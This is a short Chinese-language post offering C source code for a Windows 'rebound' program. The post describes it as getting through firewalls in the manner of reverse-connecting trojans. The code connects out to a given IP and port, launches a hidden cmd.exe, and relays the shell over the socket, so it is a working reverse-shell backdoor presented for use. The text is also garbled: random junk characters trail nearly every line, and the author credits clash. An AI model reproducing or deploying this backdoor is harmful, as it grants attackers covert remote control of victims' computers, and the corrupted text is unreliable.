这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 j><8V Qx
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/* ============================== 6^+T_{gl
Rebound port in Windows NT Zv"qA
By wind,2006/7 =SUCcdy&
===============================*/ a(s%3"*Q
#include U WU PY
#include 3G.-JLhs
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#pragma comment(lib,"wsock32.lib") f]*TIYicc
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void OutputShell(); PCcI(b>?l
SOCKET sClient; -Wt(t2
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ?xT ^9
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void main(int argc,char **argv) >T)#KQ1t
{ ol7^T
WSADATA stWsaData; VGVb3@
int nRet; ImG7E
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SOCKADDR_IN stSaiClient,stSaiServer; jgyXb5GY
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if(argc != 3) y.6Yl**l
{ rHMr8,J;
printf("Useage:\n\rRebound DestIP DestPort\n"); %8]~+#]p
return; EQvZ(-_;4
} !D!1%@
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WSAStartup(MAKEWORD(2,2),&stWsaData); yQ/E0>Uj!
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ukAE7O(W&
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stSaiClient.sin_family = AF_INET; 7xlarns
stSaiClient.sin_port = htons(0); OngUZMgdb
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ^rX5C2}G\D
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) fhp+Ep!0Y
{ VmbfwHRWb
printf("Bind Socket Failed!\n"); R/|2s
return; +p\+15
} DQ{"6-
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stSaiServer.sin_family = AF_INET; tm#[.
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); =*\(Y(0
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); tDQo1,(oY
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) <AN=@`+
{ C
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printf("Connect Error!"); : 6|nXL
return; S4!}7NOh
} ./r#\X)dc
OutputShell(); 8IQqDEY^
} -NL=^O$G
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void OutputShell() Ts c2;I
{ 5@/hqOiu
char szBuff[1024]; tsys</E&
SECURITY_ATTRIBUTES stSecurityAttributes; "NOll:5"(
OSVERSIONINFO stOsversionInfo; %'3Y?d
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; rWS],q=c
STARTUPINFO stStartupInfo; F./$nwb
char *szShell; ~z$+uK
PROCESS_INFORMATION stProcessInformation; 0\DlzIO
unsigned long lBytesRead; yq]/r=e!k
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); "(NJ{J#A
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); *3s,~<''%
stSecurityAttributes.lpSecurityDescriptor = 0; #P/}'rdt
stSecurityAttributes.bInheritHandle = TRUE; $>6Kn`UX
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); [qHtN.
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); NB)$l2<d
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ;]I~AGH:
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *m.4)2u=
stStartupInfo.wShowWindow = SW_HIDE; f)9{D[InM^
stStartupInfo.hStdInput = hReadPipe; ZD`p$:pT
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; RuBL_Vi
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GetVersionEx(&stOsversionInfo); b[;Zl<
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switch(stOsversionInfo.dwPlatformId) 'M=c-{f~
{ NxzRVsNF
case 1: mJFFst,
szShell = "command.com"; /vrjg)fer
break; J,,+JoD
default: D]B;5f
szShell = "cmd.exe"; yT pvKCC
break; <52)
} -l i71.M
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); LPK[^
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send(sClient,szMsg,77,0); v#E RXIrf
while(1) I?#B_ R#
{ GGF;4
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); "Wz74ble
if(lBytesRead) i8 fUzg)
{ +~l`rJ
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); @(I)]Ca%O
send(sClient,szBuff,lBytesRead,0); snti*e4"V
} Ua\<oD79]
else yIG*
{ Y1s3>`
lBytesRead=recv(sClient,szBuff,1024,0); eczS(KoL4
if(lBytesRead<=0) break; NoD\t(@h
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ;{S7bH'6m
} m[E#$JZtG
} t#sw{RO
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return; Zrm!,qs
}